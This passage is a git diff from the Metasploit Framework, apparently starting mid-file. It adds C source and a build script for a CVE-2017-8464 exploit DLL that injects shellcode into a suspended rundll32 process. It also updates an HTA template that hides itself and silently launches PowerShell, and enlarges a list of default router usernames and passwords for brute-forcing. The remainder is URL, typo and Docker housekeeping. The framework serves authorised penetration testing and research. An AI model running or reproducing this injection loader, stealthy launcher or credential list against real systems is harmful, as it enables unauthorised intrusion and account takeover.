   ].each do |step|
     config.vm.provision "shell", inline: step
   end
 
   [ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
     "curl -L https://get.rvm.io | bash -s stable",
-    "source ~/.rvm/scripts/rvm && cd /vagrant && rvm --install .ruby-version",
+    "source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
     "source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
     "source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
     "mkdir -p ~/.msf4",
diff --git a/data/exploits/cve-2017-8464/src/build.sh b/data/exploits/cve-2017-8464/src/build.sh
new file mode 100755
index 0000000000..1d61abe03c
--- /dev/null
+++ b/data/exploits/cve-2017-8464/src/build.sh
@@ -0,0 +1,16 @@
+#!/bin/sh
+rm -f *.o *.dll
+
+CCx86="i686-w64-mingw32"
+CCx64="x86_64-w64-mingw32"
+
+${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
+${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
+${CCx64}-strip -s temp.dll -o template_x64_windows.dll
+rm -f temp.dll *.o
+
+${CCx86}-gcc -c -Os template.c -Wall -shared
+${CCx86}-dllwrap --def template.def *.o -o temp.dll
+${CCx86}-strip -s temp.dll -o template_x86_windows.dll
+rm -f temp.dll *.o
+
diff --git a/data/exploits/cve-2017-8464/src/template.c b/data/exploits/cve-2017-8464/src/template.c
new file mode 100755
index 0000000000..f7c6009053
--- /dev/null
+++ b/data/exploits/cve-2017-8464/src/template.c
@@ -0,0 +1,95 @@
+// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
+// - removed ExitThread(0) to prevent an Explorer crash
+// - added Mutex to prevent invoking payload multiple times (at least try)
+#include <windows.h>
+#include "template.h"
+
+void inline_bzero(void *p, size_t l)
+{
+	BYTE *q = (BYTE *)p;
+	size_t x = 0;
+	for (x = 0; x < l; x++)
+		*(q++) = 0x00;
+}
+
+void ExecutePayload(void);
+
+BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
+{
+	switch (dwReason)
+	{
+	case DLL_PROCESS_ATTACH:
+		ExecutePayload();
+		break;
+
+        case DLL_PROCESS_DETACH:
+		break;
+
+        case DLL_THREAD_ATTACH:
+		break;
+
+        case DLL_THREAD_DETACH:
+		break;
+	}
+
+	return TRUE;
+}
+
+void ExecutePayload(void)
+{
+	PROCESS_INFORMATION pi;
+	STARTUPINFO si;
+	CONTEXT ctx;
+	LPVOID ep;
+	HANDLE hMutex;
+	SECURITY_ATTRIBUTES MutexAttributes;
+
+	inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
+	MutexAttributes.nLength = sizeof(MutexAttributes);
+	MutexAttributes.bInheritHandle = TRUE; // inherit the handle
+	hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
+	if(hMutex == NULL)
+	{
+		return;
+	}
+
+	if(GetLastError() == ERROR_ALREADY_EXISTS)
+	{
+		CloseHandle(hMutex);
+		return;
+	}
+
+	if(GetLastError() == ERROR_ACCESS_DENIED)
+	{
+		CloseHandle(hMutex);
+		return;
+	}
+
+	// Start up the payload in a new process
+	inline_bzero(&si, sizeof(si));
+	si.cb = sizeof(si);
+
+	// Create a suspended process, write shellcode into stack, make stack RWX, resume it
+	if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
+		ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
+		GetThreadContext(pi.hThread, &ctx);
+
+		ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+		WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
+
+#ifdef _WIN64
+		ctx.Rip = (DWORD64)ep;
+#else
+		ctx.Eip = (DWORD)ep;
+#endif
+
+		SetThreadContext(pi.hThread, &ctx);
+		ResumeThread(pi.hThread);
+
+		CloseHandle(pi.hThread);
+		CloseHandle(pi.hProcess);
+	}
+
+	CloseHandle(hMutex);
+}
+
diff --git a/data/exploits/cve-2017-8464/src/template.def b/data/exploits/cve-2017-8464/src/template.def
new file mode 100644
index 0000000000..f5c3655fd4
--- /dev/null
+++ b/data/exploits/cve-2017-8464/src/template.def
@@ -0,0 +1,3 @@
+EXPORTS
+DllMain@12
+
diff --git a/data/exploits/cve-2017-8464/src/template.h b/data/exploits/cve-2017-8464/src/template.h
new file mode 100644
index 0000000000..7a674c3006
--- /dev/null
+++ b/data/exploits/cve-2017-8464/src/template.h
@@ -0,0 +1,3 @@
+#define SCSIZE 2048
+unsigned char code[SCSIZE] = "PAYLOAD:";
+
diff --git a/data/exploits/cve-2017-8464/src/template.rc b/data/exploits/cve-2017-8464/src/template.rc
new file mode 100644
index 0000000000..5f59aa4fbf
--- /dev/null
+++ b/data/exploits/cve-2017-8464/src/template.rc
@@ -0,0 +1,18 @@
+
+LANGUAGE 9, 1
+
+
+VS_VERSION_INFO VERSIONINFO
+ FILEVERSION 0,0,0,1
+ PRODUCTVERSION 0,0,0,1
+ FILEFLAGSMASK 0x17L
+ FILEFLAGS 0x0L
+ FILEOS 0x4L
+ FILETYPE 0x2L
+ FILESUBTYPE 0x0L
+BEGIN
+
+END
+
+#define RT_HTML  23
+
diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll
new file mode 100755
index 0000000000..40958f8986
Binary files /dev/null and b/data/exploits/cve-2017-8464/template_x64_windows.dll differ
diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll
new file mode 100755
index 0000000000..b95dfe5232
Binary files /dev/null and b/data/exploits/cve-2017-8464/template_x86_windows.dll differ
diff --git a/data/exploits/psnuffle/smb.rb b/data/exploits/psnuffle/smb.rb
index c1702d51fd..31278994f7 100755
--- a/data/exploits/psnuffle/smb.rb
+++ b/data/exploits/psnuffle/smb.rb
@@ -88,7 +88,7 @@ class SnifferSMB < BaseProtocolParser
         return "NTLMv1"
       end
     else
-      raise RuntimeError, "Unknow hash type"
+      raise RuntimeError, "Unknown hash type"
     end
   end
 
diff --git a/data/logos/3kom-superhack.txt b/data/logos/3kom-superhack.txt
index 7041d227b2..484893d9e1 100644
--- a/data/logos/3kom-superhack.txt
+++ b/data/logos/3kom-superhack.txt
@@ -15,5 +15,5 @@
 |                                   %bld[ OK ]%clr                                     |
 |______________________________________________________________________________|
 |                                                                              |
-|                                                        http://metasploit.com |
+|                                                       https://metasploit.com |
 |______________________________________________________________________________|%clr
diff --git a/data/logos/metasploit-shield.txt b/data/logos/metasploit-shield.txt
index 81fc1d123c..4656c1d31d 100644
--- a/data/logos/metasploit-shield.txt
+++ b/data/logos/metasploit-shield.txt
@@ -18,4 +18,4 @@
 %bluMMMMMMMMMMNm,%clr            %blueMMMMMNMMNMM%clr
 %bluMMMMNNMNMMMMMNx%clr        %bluMMMMMMNMMNMMNM%clr
 %bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr
-%clr%bld        http://metasploit.com
+%clr%bld        https://metasploit.com
diff --git a/data/logos/missile-command.txt b/data/logos/missile-command.txt
index e426174ad5..7acabd2b57 100644
--- a/data/logos/missile-command.txt
+++ b/data/logos/missile-command.txt
@@ -27,4 +27,4 @@
 ################################################################################
 # %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
 ################################################################################
-                                                           http://metasploit.com%clr
+                                                           https://metasploit.com%clr
diff --git a/data/logos/ninja.txt b/data/logos/ninja.txt
index c5efa481d5..69aaf74904 100644
--- a/data/logos/ninja.txt
+++ b/data/logos/ninja.txt
@@ -27,4 +27,4 @@
                      #   #   ###  #   #   ##
                      ########################
                       ##     ##   ##     ##
-                            http://metasploit.com%clr
+                            https://metasploit.com%clr
diff --git a/data/logos/r7-metasploit.txt b/data/logos/r7-metasploit.txt
index 75ad39f706..daae920261 100644
--- a/data/logos/r7-metasploit.txt
+++ b/data/logos/r7-metasploit.txt
@@ -1,7 +1,7 @@
 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 %%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 %%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
-%%  %  %%%%%%%%   %%%%%%%%%%% http://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
+%%  %  %%%%%%%%   %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
 %%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 %%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
diff --git a/data/logos/wake-up-neo.txt b/data/logos/wake-up-neo.txt
index 66e43bd1c0..f2fed84db9 100644
--- a/data/logos/wake-up-neo.txt
+++ b/data/logos/wake-up-neo.txt
@@ -23,4 +23,4 @@
                  ; ,''-,;' ``-
                   ``-..__``--`
 
-                             http://metasploit.com%clr
+                             https://metasploit.com%clr
diff --git a/data/markdown_doc/auxiliary_scanner_template.erb b/data/markdown_doc/auxiliary_scanner_template.erb
index 409a7c9970..e7adc934f9 100644
--- a/data/markdown_doc/auxiliary_scanner_template.erb
+++ b/data/markdown_doc/auxiliary_scanner_template.erb
@@ -8,7 +8,7 @@ msf <%= mod.type %>(<%= mod.shortname %>) > set RHOSTS ip-range
 msf <%= mod.type %>(<%= mod.shortname %>) > exploit
 ```
 
-Other examples of setting the RHSOTS option:
+Other examples of setting the RHOSTS option:
 
 Example 1:
 
diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb
index 30199410a1..fb1fd2953e 100644
--- a/data/msfcrawler/basic.rb
+++ b/data/msfcrawler/basic.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/comments.rb b/data/msfcrawler/comments.rb
index e632eed46b..85d4b9bb97 100644
--- a/data/msfcrawler/comments.rb
+++ b/data/msfcrawler/comments.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb
index 202b2d00e7..1903e990da 100644
--- a/data/msfcrawler/forms.rb
+++ b/data/msfcrawler/forms.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb
index 5e7c4d31e6..a693f69bfc 100644
--- a/data/msfcrawler/frames.rb
+++ b/data/msfcrawler/frames.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb
index 8536a6c4ea..c1da49fe96 100644
--- a/data/msfcrawler/image.rb
+++ b/data/msfcrawler/image.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb
index d3ccf1242a..b6c2ebba3d 100644
--- a/data/msfcrawler/link.rb
+++ b/data/msfcrawler/link.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb
index 44e4bc9ad0..2e325564da 100644
--- a/data/msfcrawler/objects.rb
+++ b/data/msfcrawler/objects.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb
index 4acfcd5d72..32d39055a1 100644
--- a/data/msfcrawler/scripts.rb
+++ b/data/msfcrawler/scripts.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll
index dd57a3cbe3..d002a7b929 100755
Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ
diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll
index b5a5969ef9..10a85ed408 100755
Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ
diff --git a/data/templates/scripts/to_powershell.hta.template b/data/templates/scripts/to_powershell.hta.template
index 87083d9205..39c7d671b3 100644
--- a/data/templates/scripts/to_powershell.hta.template
+++ b/data/templates/scripts/to_powershell.hta.template
@@ -1,8 +1,12 @@
 <script language="VBScript">
-  Set %{var_shell} = CreateObject("Wscript.Shell") 
+  window.moveTo -4000, -4000
+  Set %{var_shell} = CreateObject("Wscript.Shell")
   Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
-  If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
-    %{var_shell}.Run "%{powershell}",0
-  End If
+  For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
+    If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
+      %{var_shell}.Run "%{powershell}",0
+      Exit For
+    End If
+  Next
   window.close()
 </script>
diff --git a/data/templates/src/elf/exe/elf_aarch64_template.s b/data/templates/src/elf/exe/elf_aarch64_template.s
new file mode 100755
index 0000000000..7b0d1553fc
--- /dev/null
+++ b/data/templates/src/elf/exe/elf_aarch64_template.s
@@ -0,0 +1,41 @@
+; build with:
+;   nasm elf_aarch64_template.s -f bin -o template_aarch64_linux.bin
+
+
+BITS 64
+org     0
+ehdr:                            ; Elf32_Ehdr
+  db    0x7F, "ELF", 2, 1, 1, 0  ;   e_ident
+  db    0, 0, 0, 0,  0, 0, 0, 0  ;
+  dw    2                        ;   e_type       = ET_EXEC for an executable
+  dw    0xB7                     ;   e_machine    = AARCH64
+  dd    0                        ;   e_version
+  dq    _start                   ;   e_entry
+  dq    phdr - $$                ;   e_phoff
+  dq    0                        ;   e_shoff
+  dd    0                        ;   e_flags
+  dw    ehdrsize                 ;   e_ehsize
+  dw    phdrsize                 ;   e_phentsize
+  dw    1                        ;   e_phnum
+  dw    0                        ;   e_shentsize
+  dw    0                        ;   e_shnum
+  dw    0                        ;   e_shstrndx
+
+ehdrsize equ  $ - ehdr
+
+phdr:                            ; Elf32_Phdr
+  dd    1                        ;   p_type       = PT_LOAD
+  dd    7                        ;   p_flags      = rwx
+  dq    0                        ;   p_offset
+  dq    $$                       ;   p_vaddr
+  dq    $$                       ;   p_paddr
+  dq    0xDEADBEEF               ;   p_filesz
+  dq    0xDEADBEEF               ;   p_memsz
+  dq    0x1000                   ;   p_align
+
+phdrsize equ  $ - phdr
+
+global _start
+
+_start:
+
diff --git a/data/templates/template_aarch64_linux.bin b/data/templates/template_aarch64_linux.bin
new file mode 100644
index 0000000000..c9fb24dd44
Binary files /dev/null and b/data/templates/template_aarch64_linux.bin differ
diff --git a/data/templates/template_x64_windows_dccw_gdiplus.dll b/data/templates/template_x64_windows_dccw_gdiplus.dll
index fd4bbb9830..4257f09521 100755
Binary files a/data/templates/template_x64_windows_dccw_gdiplus.dll and b/data/templates/template_x64_windows_dccw_gdiplus.dll differ
diff --git a/data/templates/template_x86_windows_dccw_gdiplus.dll b/data/templates/template_x86_windows_dccw_gdiplus.dll
index 86be7f362d..f881412ee2 100755
Binary files a/data/templates/template_x86_windows_dccw_gdiplus.dll and b/data/templates/template_x86_windows_dccw_gdiplus.dll differ
diff --git a/data/webcam/answerer.html b/data/webcam/answerer.html
index 13542c299d..45fd6057da 100644
--- a/data/webcam/answerer.html
+++ b/data/webcam/answerer.html
@@ -188,7 +188,7 @@
 	</div>
 </div>
 <div class="footer">
-	<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
+	<center><a href="https://metasploit.com/" target="_blank">metasploit.com</a></center>
 </div>
 </body>
 </html>
\ No newline at end of file
diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html
index eaa58ebbcf..cdf695b516 100644
--- a/data/webcam/offerer.html
+++ b/data/webcam/offerer.html
@@ -195,7 +195,7 @@
 </div>
 
 <div class="footer">
-	<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
+	<center><a href="https://metasploit.com/" target="_blank">metasploit.com</a></center>
 </div>
 
 </body>
diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt
index 4b35db7811..ba1d1a80cb 100644
--- a/data/wordlists/routers_userpass.txt
+++ b/data/wordlists/routers_userpass.txt
@@ -1,70 +1,100 @@
-root
+ADMINISTRATOR ADMINISTRATOR
+ADMN admn
+Admin admin
+Administrator
+Administrator 3ware
+Administrator admin
+Administrator changeme
+Administrator ganteng
+Administrator letmein
+Administrator password
+Administrator pilou
+Administrator smcadmin
+Any 12345
+CSG SESAME
+Cisco Cisco
+D-Link D-Link
+DTA TJM
+GEN1 gen1
+GEN2 gen2
+GlobalAdmin GlobalAdmin
+HTTP HTTP
+IntraStack Asante
+IntraSwitch Asante
+JDE JDE
+LUCENT01 UI-PSWD-01
+LUCENT02 UI-PSWD-02
+MDaemon MServer
+MICRO RSX
+Manager Manager
+Manager friend
+NAU NAU
+NETWORK NETWORK
+NICONEX NICONEX
+PBX PBX
+PFCUser 240653C9467E45
+PRODDTA PRODDTA
+PSEAdmin $secure$
+PlcmSpIp PlcmSpIp
+Polycom SpIp
+RMUser1 password
+SYSADM sysadm
+Sweex Mysweex
+USERID PASSW0RD
+User Password
+VNC winterm
+VTech VTech
+ZXDSL ZXDSL
+acc acc
+adfexc adfexc
+adm
 admin
-guest
-root root
-root password
-root 1234
-root 12345
-root 123456
-root 3ep5w2u
-root admin
-root Admin
-root admin_1
-root alpine
-root ascend
-root attack
-root blender
-root calvin
-root changeme
-root Cisco
-root cms500
-root davox
-root default
-root fivranne
-root ggdaseuaimhrke
-root iDirect
-root letacla
-root Mau'dib
-root pass
-root permit
-root ROOT500
-root tini
-root tslinux
-root wyse
-ro ro
-router router
-rwa rwa
-rw rw
-ubnt ubnt
-guest guest
-guest User
 admin 0
 admin 0000
 admin 1111
+admin 11111111
 admin 123
 admin 1234
 admin 123456
+admin 1234567890
 admin 1234admin
 admin 2222
 admin 22222
-admin2 changeme
 admin 3477
 admin 3ascotel
+admin 7ujMko0admin
+admin 7ujMko0vizxv
 admin 9999
+admin Admin
+admin AitbISP4eCiG
+admin Ascend
+admin BRIDGE
+admin Intel
+admin MiniAP
+admin NetCache
+admin NetICs
+admin OCS
+admin P@55w0rd!
+admin PASSWORD
+admin Protector
+admin SMDR
+admin SUPER
+admin Symbol
+admin TANDBERG
+admin _Cisco
 admin access
 admin admin
-admin Admin
-Admin admin
+admin admin117.35.97.74
 admin admin123
+admin admin1234
+admin administrator
 admin adminttd
 admin adslolitec
 admin adslroot
 admin adtran
-admin AitbISP4eCiG
 admin articon
 admin asante
 admin ascend
-admin Ascend
 admin asd
 admin atc123
 admin atlantis
@@ -72,11 +102,9 @@ admin backdoor
 admin barricade
 admin barricadei
 admin bintec
-admin BRIDGE
 admin cableroot
 admin changeme
 admin cisco
-admin _Cisco
 admin comcomcom
 admin conexant
 admin default
@@ -84,96 +112,79 @@ admin diamond
 admin enter
 admin epicrouter
 admin extendnet
+admin fliradmin
 admin giraff
 admin hagpolm1
 admin hello
 admin help
 admin hp.com
-admin Intel
 admin ironport
 admin isee
-acc acc
-adfexc adfexc
-adm
+admin jvc
 admin kont2004
 admin letmein
 admin leviton
 admin linga
+admin meinsma
+admin michaelangelo
 admin michelangelo
 admin microbusiness
-admin MiniAP
 admin motorola
 admin mu
 admin my_DEMARC
 admin netadmin
-admin NetCache
-admin NetICs
 admin noway
-admin OCS
+admin oelinux123
 admin operator
-admin P@55w0rd!
-admin password
 admin p-assword
-admin PASSWORD
+admin pass
+admin password
 admin passwort
 admin pento
 admin pfsense
 admin private
-admin Protector
 admin public
 admin pwp
 admin radius
 admin rmnetlm
 admin root
 admin secure
+admin service
 admin setup
 admin sitecom
 admin smallbusiness
 admin smcadmin
-admin SMDR
 admin speedxess
-admin SUPER
 admin superuser
+admin support
 admin switch
-admin Symbol
 admin synnet
 admin sysAdmin
 admin system
-admin TANDBERG
+admin tech
+admin ubnt
 admin visual
 admin w2402
-admin xad$|#12
+admin wbox
 admin xad$l#12
+admin xad$|#12
 admin zoomadsl
-system change_on_install
-system/manager sys/change_on_install
-system password
-system sys
+admin2 changeme
+administrator administrator
+administrator changeme
+adminstat OCS
+adminstrator changeme
 adminttd adminttd
 adminuser OCS
 adminview OCS
-adminstat OCS
-adminstrator changeme
-Administrator 3ware
-Administrator admin
-administrator administrator
-ADMINISTRATOR ADMINISTRATOR
-administrator changeme
-Administrator changeme
-Administrator ganteng
-Administrator letmein
-Administrator password
-Administrator pilou
-Administrator smcadmin
-ADMN admn
+alpine alpine
 ami
-anonymous any@
 anonymous Exabyte
-Any 12345
+anonymous any@
 apc apc
 at4400 at4400
-bbsd-client changeme2
 bbsd-client NULL
+bbsd-client changeme2
 bciim bciimpw
 bcim bcimpw
 bcms bcmspw
@@ -191,7 +202,6 @@ cellit cellit
 cgadmin cgadmin
 cisco
 cisco cisco
-Cisco Cisco
 citel citel
 client client
 cmaker cmaker
@@ -201,15 +211,19 @@ craft
 craft craft
 craft craftpw
 craft crftpw
-CSG SESAME
 cusadmin highspeed
 cust custpw
 customer
 customer none
 dadmin dadmin01
+daemon
 davox davox
 debug d.e.b.u.g
 debug synnet
+default
+default antslq
+default default
+default password
 deskalt password
 deskman changeme
 desknorm password
@@ -220,41 +234,39 @@ dhs3pms dhs3pms
 diag danger
 diag switch
 disttech 4tas
-D-Link D-Link
 draytek 1234
-DTA TJM
 e250 e250changeme
 e500 e500changeme
-echo echo
 echo User
+echo echo
 enable
 eng engineer
 enquiry enquirypw
 field support
-GEN1 gen1
-GEN2 gen2
-GlobalAdmin GlobalAdmin
+guest
+guest 1111
+guest 12345
+guest 123456
+guest User
+guest guest
+guest xc3511
 halt tlah
 helpdesk OCS
 hsa hsadb
 hscroot abc123
-HTTP HTTP
 hydrasna
 iclock timely
 images images
 inads inads
 inads indspw
 init initpw
-installer installer
 install llatsni
 install secret
+installer installer
 intel intel
 intermec intermec
 intermec intermec1QTPS
-IntraStack Asante
-IntraSwitch Asante
 jagadmin
-JDE JDE
 kermit kermit
 l2 l2
 l3 l3
@@ -266,8 +278,6 @@ login access
 login admin
 login password
 lp lp
-LUCENT01 UI-PSWD-01
-LUCENT02 UI-PSWD-02
 m1122 m1122
 mac
 maint maint
@@ -278,50 +288,41 @@ manage !manage
 manager admin
 manager change_on_install
 manager friend
-Manager friend
 manager manager
-Manager Manager
 manager sys
 manuf xxyyzz
-MDaemon MServer
 mediator mediator
-MICRO RSX
+mg3500 merlin
 mlusr mlusr
 monitor monitor
+mother fucker
 mtch mtch
 mtcl
 mtcl mtcl
 naadmin naadmin
-NAU NAU
 netangr attack
 netman
 netman netman
 netopia netopia
 netrangr attack
 netscreen netscreen
-NETWORK NETWORK
-NICONEX NICONEX
 nms nmspw
 nokai nokai
 nokia nokia
 none 0
 none admin
-operator
-operator 1234
-operator $chwarzepumpe
-operator operator
 op op
 op operator
+operator
+operator $chwarzepumpe
+operator 1234
+operator operator
+oracle oracle
 patrol patrol
-PBX PBX
-PFCUser 240653C9467E45
 piranha piranha
 piranha q
 pmd
 poll tech
-Polycom SpIp
-PRODDTA PRODDTA
-PSEAdmin $secure$
 public
 public public
 radware radware
@@ -331,7 +332,89 @@ readonly lucenttech2
 readwrite lucenttech1
 recovery recovery
 replicator replicator
-RMUser1 password
+ro ro
+root
+root 000000
+root 1111
+root 1234
+root 12345
+root 123456
+root 1234567890
+root 1234qwer
+root 123qwe
+root 1q2w3e4r5
+root 3ep5w2u
+root 54321
+root 666666
+root 7ujMko0admin
+root 7ujMko0vizxv
+root 888888
+root Admin
+root Cisco
+root GMB182
+root LSiuY7pOmZG2s
+root Mau'dib
+root PASSWORD
+root ROOT500
+root Serv4EMC
+root Zte521
+root abc123
+root admin
+root admin1234
+root admin_1
+root ahetzip8
+root alpine
+root anko
+root antslq
+root ascend
+root attack
+root avtech
+root b120root
+root bananapi
+root blender
+root calvin
+root changeme
+root cms500
+root comcom
+root coolphoenix579
+root davox
+root default
+root dreambox
+root fivranne
+root ggdaseuaimhrke
+root hi3518
+root iDirect
+root ikwb
+root ikwd
+root jauntech
+root juantech
+root jvbzd
+root klv123
+root klv1234
+root letacla
+root maxided
+root oelinux123
+root openssh
+root openvpnas
+root orion99
+root pa55w0rd
+root pass
+root password
+root permit
+root realtek
+root root
+root tini
+root tslinux
+root user
+root vizxv
+root wyse
+root xc3511
+root xmhdipc
+root zlxx.
+root zte9x15
+router router
+rw rw
+rwa rwa
 sa
 scmadmin scmchangeme
 scout scout
@@ -346,44 +429,55 @@ smc smcadmin
 spcl 0
 storwatch specialist
 stratacom stratauser
+su super
 super 5777364
+super super
+super surt
+super.super
+super.super master
 superadmin secret
 superman 21241036
 superman talent
-super super
-super.super
-super.super master
-super surt
 superuser
 superuser 123456
 superuser admin
 supervisor PlsChgMe!
 supervisor PlsChgMe1
 supervisor supervisor
+supervisor zyad1234
+support 123
+support 1234
+support 12345
+support 123456
+support admin
 support h179350
+support login
 support support
 support supportpw
-su super
-Sweex Mysweex
+support zlxx.
+sys uplink
 sysadm Admin
+sysadm PASS
 sysadm anicust
+sysadm sysadm
 sysadmin PASS
 sysadmin password
 sysadmin sysadmin
-sysadm PASS
-sysadm sysadm
-SYSADM sysadm
-sys uplink
+system change_on_install
+system password
+system sys
+system/manager sys/change_on_install
 target password
 teacher password
 tech
 tech ANYCOM
-tech field
 tech ILMI
+tech field
 tech tech
 telco telco
 telecom telecom
 tellabs tellabs#1
+telnet telnet
 temp1 password
 test test
 tiara tiaranet
@@ -391,19 +485,17 @@ tiger tiger123
 topicalt password
 topicnorm password
 topicres password
+ubnt ubnt
 user
-USERID PASSW0RD
+user 123456
 user pass
 user password
-User Password
 user public
 user tivonpw
 user user
 vcr NetVCR
-VNC winterm
 volition volition
 vt100 public
-VTech VTech
 webadmin 1234
 webadmin webadmin
 websecadm changeme
@@ -412,4 +504,3 @@ wradmin trancell
 write private
 xd xd
 xxx cascade
-ZXDSL ZXDSL
diff --git a/docker-compose.yml b/docker-compose.yml
index e966e8dcac..0f433b31fe 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -4,7 +4,7 @@ services:
     image: metasploit
     build:
       context: .
-      dockerfile: ./docker/Dockerfile
+      dockerfile: ./Dockerfile
     environment:
       DATABASE_URL: postgres://postgres@db:5432/msf
     links:
diff --git a/docker/bin/msfvenom b/docker/bin/msfvenom
index 2b12210b4f..3efc05168d 100755
--- a/docker/bin/msfvenom
+++ b/docker/bin/msfvenom
@@ -17,5 +17,9 @@ if [[ -z "$MSF_PATH" ]]; then
   MSF_PATH=$(dirname $(dirname $path))
 fi
 
+if [[ -n "$MSF_BUILD" ]]; then
+  docker-compose -f $MSF_PATH/docker-compose.yml build
+fi
+
 cd $MSF_PATH
 docker-compose run --rm --service-ports ms ./msfvenom "$@"
diff --git a/docker/bin/msfvenom-dev b/docker/bin/msfvenom-dev
new file mode 100755
index 0000000000..32b1049748
--- /dev/null
+++ b/docker/bin/msfvenom-dev
@@ -0,0 +1,26 @@
+#! /bin/bash
+
+if [[ -z "$MSF_PATH" ]]; then
+  path=`dirname $0`
+
+  # check for ./docker/msfconsole.rc
+  if [[ ! -f $path/../msfconsole.rc ]] ; then
+
+    # we are not inside the project
+    realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
+
+    # determine script path
+    pushd $(dirname $(realpath $0)) > /dev/null
+    path=$(pwd)
+    popd > /dev/null
+  fi
+  MSF_PATH=$(dirname $(dirname $path))
+fi
+
+cd $MSF_PATH
+
+if [[ -n "$MSF_BUILD" ]]; then
+  docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
+fi
+
+docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@"
